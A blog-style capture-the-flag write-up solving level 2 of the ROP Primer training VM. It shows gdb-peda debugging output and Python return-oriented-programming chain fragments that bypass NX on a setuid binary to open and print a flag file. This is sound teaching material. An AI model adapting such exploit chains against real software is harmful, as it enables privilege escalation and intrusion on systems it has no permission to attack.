Some days ago I started reading into Return Oriented Programming and had a lot of fun doing some VMs and exercises I found over the internet. ROP is a technique which allows attackers to execute code in the presence of defense mechanism like DEP/NX. I’m not explaining what ROP is and how it is done, because a lot of other people have done this already.
Instead I want to share a solution I made for the second level of a VM called ROP Primer v0.2. Most other posts about this level I found spawned a shell, allowing the flag to be read manually. For learning purposes I took a slightly different approach: opening the flag, reading the content to memory and then printing it to STDOUT
.
First of all, let’s gather some information on the binary:
level2@rop:~$ file level2
level2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=baba7f4fd049424caed048eb73eb6668b45a962e, not stripped
level2@rop:~$ gdb -q level2
Reading symbols from level2...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
gdb-peda$
The already installed peda on this VM shows that No-Execute (NX) is enabled.
Looking at the source of this level (you find this by browsing to the web server exposed by this VM), triggering a crash is pretty straight forward:
gdb-peda$ r $(python -c "print 'A'*100")
Starting program: /home/level2/level2 $(python -c "print 'A'*100")
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
[...snip...]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
Let’s use pedas pattern
functions to find the offset:
gdb-peda$ pattern arg 100
Set 1 arguments to program
gdb-peda$ r
Starting program: /home/level2/level2 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff61c --> 0x80ca4c0 --> 0xfbad2a84
EDX: 0x80cb430 --> 0x0
ESI: 0x80488f0 (<__libc_csu_fini>: push ebp)
EDI: 0x580c099e
EBP: 0x41304141 ('AA0A')
ESP: 0xbffff670 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xbffff670 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xbffff674 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xbffff678 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xbffff67c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xbffff680 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xbffff684 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xbffff688 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xbffff68c ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ pattern offset 0x41414641
1094796865 found at offset: 44
Great, so we can overwrite EIP at 45-48. Because NX is set, we can not just push some shellcode and lead our control flow to this address. Instead we need to construct our logic by using some gadgets we can find. A really usefull site I used for this is ropshell.com.
Because a strcpy
is used to copy our argument into the buffer, we can’t use NULL-Bytes here, making this a bit more complex. Let’s go.
To open()
a file, we need to set two arguments: a path and a mode. The path is just the filename ‘flag’. Let’s put this into memory first. But where should we place this? We need to find a writeable memory space which address we know. Again, peda can help us here:
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /home/level2/level2
0x080ca000 0x080cb000 rw-p /home/level2/level2
0x080cb000 0x080ef000 rw-p [heap]
0xb7ffe000 0xb7fff000 rw-p mapped
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xc0000000 rw-p [stack]
0x080ca000
is writeable, let’s use this. Because this address contains a NULL-Byte, we can just increase it to 0x080ca004
.
Next we need to bring the string flag
into memory. To do this, we need to do three things:
The only suitable gadget I found to move was a mov [eax], edx; pop ebx; pop ebp; ret
, so we also have to push some dummy on the stack. After this I am pushing a \0 to the end of the string to null terminate it:
payload += p(pop_eax)
payload += p(writeable_buffer) # 0x080ca004
payload += p(pop_edx)
payload += 'flag'
payload += p(mov_eax_edx)
payload += 'AAAA' # dummy for pop ebx
payload += 'AAAA' # dummy for pop ebp
# Null-terminate flag string
payload += p(xor_eax_eax)
payload += p(pop_edx)
payload += p(writeable_buffer+0x4)
payload += p(mov_edx_eax)
Great, let’s set a breakpoint and see if this worked:
gdb-peda$ x/s 0x080ca004
0x80ca004: "flag"
Awesome. Note: When you run your scripts from gdb, make sure to use quotation marks for your arguments. Otherwise you will get problems when using chars like \x0a
or \x09
.. I learned this the hard way.
If you take a look at Linux Syscall Reference you can see the register values we need:
Because we can’t put a NULL-byte in there and 0x05
is popped as \x05\x00\x00\x00
, we need to get a bit creative here. A simple approach to work around this is pop’ing 0xffffffff
(-1) and then increasing this value step by step to get to 5 with inc reg
.
After all our registers are set up, we use the address of a int 0x80
to execute this syscall:
# 2/ open file
# open(pathname, flags)
# eax=0x05, ebx = filename, ecx = flags
payload += p(pop_ecx_pop_ebx)
payload += p(0xffffffff) # ecx = -1
payload += p(writeable_buffer) # ebx = address of 'flag'
payload += p(inc_ecx) # ebx = 0
payload += p(xor_eax_eax)
payload += p(inc_eax) # eax = 1
payload += p(inc_eax) # eax = 2
payload += p(inc_eax) # eax = 3
payload += p(inc_eax) # eax = 4
payload += p(inc_eax) # eax = 5
payload += p(int_0x80) # GO!
We now use the same technique for calling sys_read
and sys_write
. Because file descriptors 0 (STDIN), 1 (STDOUT), 2 (STDERR) are predefined, our recently opened file will be accessible at FD 3
. To print to STDOUT we can then use FD 2
.
After executing our exploit, we can see the flag printed to stdout (surrounded with some garbage):
level2@rop:~$ ./level2 "$(python exploit2.py)"
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAց
[...snip...]
flag{to_rop_or_not_to_rop}
[...snip...]
You can find my full finished exploit here: https://gist.github.com/rverton/42340ee4bd3482c6262db2bc9bbb9ef5